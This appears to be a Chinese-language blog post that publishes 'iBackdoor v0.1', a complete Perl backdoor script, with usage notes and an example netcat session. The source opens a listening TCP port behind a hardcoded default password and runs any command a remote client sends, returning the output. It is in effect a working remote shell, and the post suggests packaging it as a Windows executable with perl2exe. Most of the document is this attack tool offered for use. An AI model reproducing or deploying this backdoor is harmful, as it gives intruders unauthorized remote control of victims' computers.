简单后门脚本 - iBackdoor v0.1 Options

简单后门脚本 - iBackdoor v0.1 Options

一、Information

1、可用perl2exe转化为exe可执行文件;
2、支持多客户连接,默认监听端口为23;
3、提供一个简单的密码验证,默认密码为123456;


二、Source Code


#!C:\Perl\bin\perl.exe
#iBackdoor v0.1, by [email protected]
use strict;


use IO::Socket;
use IO::Select;
use Getopt::Std;
use POSIX qw(strftime WNOHANG);


use constant FOREVER  => 1;
use constant BUFSIZE  => 1024;
use constant PROMPT    => "iBackdoor> ";
use constant PASSWORD => "123456";


$SIG{CHLD} = sub {
    while(waitpid(-1, WNOHANG) > 0) { }



};

my %opts;
getopts('hl:p:', \%opts);

print_help() and exit if(defined($opts{'h'}));
print_help();


my $listen_port = (defined($opts{'l'})) ? $opts{'l'} : 23;
my $password = (defined($opts{'p'})) ? $opts{'p'} : PASSWORD;


my $banner;
$banner = "\t++------------------------------++\n";
$banner.= "\t|| iBackdoor v0.1, by i_am_jojo ||\n";
$banner.= "\t++------------------------------++\n";


my $trans_serv = getprotobyname('tcp');


my $sockaddr_listen  = IO::Socket::INET->new(
    LocalPort    => $listen_port,
    Listen      => 1,
    Proto        => 'tcp',
    Reuse        => 1
);


print timestamp(), ", listening on local port '$listen_port'...\n";


my $readers = IO::Select->new();


$readers->add($sockaddr_listen);


while(FOREVER) {
    my @readers = $readers->can_read;


    foreach my $reader (@readers) {
        if($reader eq $sockaddr_listen) {
            my $sockaddr_client = $sockaddr_listen->accept();
            my $client_port      = $sockaddr_client->peerport();
            my $client_ip        = $sockaddr_client->peerhost();


            if(fork() == 0) {
                my ($rcbuffer, $rcflag, $wcbuffer, $wcflag);


                send($sockaddr_client, $banner, 0);


                while(FOREVER) {
                    send($sockaddr_client, "Password: ", 0);
                    recv($sockaddr_client, $rcbuffer, BUFSIZE, 0);
                    chomp($rcbuffer);
                    last if($rcbuffer =~ /$password/i);
                    send($sockaddr_client, "Invalid Password!\n", 0);
                } #while(FOREVER...


                $readers->add($sockaddr_client);
                $readers->remove($sockaddr_listen);


                $sockaddr_listen->close();


                my $writers = IO::Select->new();


                $writers->add($sockaddr_client);


                send($sockaddr_client, PROMPT, 0);


                while(FOREVER) {
                    my @readers = $readers->can_read;


                    foreach my $reader (@readers) {
                        if($reader eq $sockaddr_client) {
                            $rcflag = recv($reader, $rcbuffer, BUFSIZE,
0);
                            if($rcflag) {
                                chomp($rcbuffer);
                                #print "received: $rcbuffer\n";
                                $wcbuffer = `$rcbuffer`."\n".PROMPT;
                            } else {
                                $readers->remove($sockaddr_client);
                                $writers->remove($sockaddr_client);


                                $sockaddr_client->close();


                                print timestamp(), ",
                                    closed from
'$client_ip:$client_port'.\n";
                                exit;
                            } #if($rcflag...
                        } #if($reader eq $sockaddr_client...
                    } #foreach my $reader (@readers)...


                    my @writers = $writers->can_write;


                    foreach my $writer (@writers) {
                        send($writer, $wcbuffer, 0) if($writer eq
$sockaddr_client);
                    }
                } #while(FOREVER...
            } else {
                print timestamp(), ", connected from
'$client_ip:$client_port'.\n";
            }
        } #if($reader eq...
    } #foreach my $reader...



} #while(FOREVER...

sub print_help {
    my $file_name = (split /\\/, $0)[-1];

    print <<HELP


    >$file_name [-h,-l:,-p]
    -h  print help
    -l  local listen port, default 23
    -p  password, default 123456
            v0.1, by i_am_jojo\@msn.com, please use nc client


HELP



}

sub timestamp {
    return strftime "%Y/%m/%d %H:%M:%S", localtime;


}

三、eXample

C:\Perl\perl2exe>iBackdoor.exe -l 8888


    >iBackdoor.exe [-h,-l:,-p]
    -h  print help
    -l  local listen port, default 23
    -p  password, default 123456
            v0.1, by [email protected], please use nc client


2005/06/08 23:44:18, listening on local port '8888'...
2005/06/08 23:44:30, connected from '127.0.0.1:1357'.
2005/06/08 23:44:36, closed from '127.0.0.1:1357'.
... ...


C:\Perl\scripts\iPort>nc 127.0.0.1 8888
        ++------------------------------++
        || iBackdoor v0.1, by i_am_jojo ||
        ++------------------------------++
Password: 123456
iBackdoor> ping [url]www.google.com[/url]


Pinging [url]www.l.google.com[/url] [64.233.189.104] with 32 bytes of data:


Reply from 64.233.189.104: bytes=32 time=377ms TTL=243
Reply from 64.233.189.104: bytes=32 time=316ms TTL=243
Reply from 64.233.189.104: bytes=32 time=341ms TTL=243
Reply from 64.233.189.104: bytes=32 time=397ms TTL=243


Ping statistics for 64.233.189.104:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 316ms, Maximum = 397ms, Average = 357ms


iBackdoor>

你可能感兴趣的:(脚本,职场,休闲,后门)